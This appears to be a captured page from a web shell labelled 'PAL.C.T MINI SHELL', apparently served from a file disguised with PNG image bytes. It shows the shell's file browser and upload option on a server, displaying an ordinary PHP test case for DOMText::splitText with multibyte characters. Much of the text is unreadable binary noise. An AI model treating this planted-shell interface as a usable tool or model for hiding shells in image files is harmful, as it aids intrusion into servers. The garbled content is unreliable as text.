php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/dom/tests/
upload
files >> //opt/php-7.0.1/ext/dom/tests/bug46335.phpt

--TEST--
Bug #46335 (DOMText::splitText doesn't handle multibyte characters).
--SKIPIF--
<?php require_once('skipif.inc'); ?>
--FILE--
<?php 
$textascii = 'This is an "example" of using DOM splitText';
$text = 'This is an ‘example’ of using DOM splitText';
$start = 30;
$length = 3;

$dom = new DOMDocument('1.0', 'UTF-8');
$node = $dom->createTextNode($textascii);
$dom->appendChild($node);

print "Text: $node->textContent\n";

$matched = $node->splitText($start);
$matched->splitText($length);
print "splitText (ASCII): $matched->textContent\n";

$node = $dom->createTextNode($text);
$dom->appendChild($node);

print "Text: $node->textContent\n";

$matched = $node->splitText($start);
$matched->splitText($length);
print "splitText (UTF-8): $matched->textContent\n";
?>
--EXPECT--
Text: This is an "example" of using DOM splitText
splitText (ASCII): DOM
Text: This is an ‘example’ of using DOM splitText
splitText (UTF-8): DOM
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`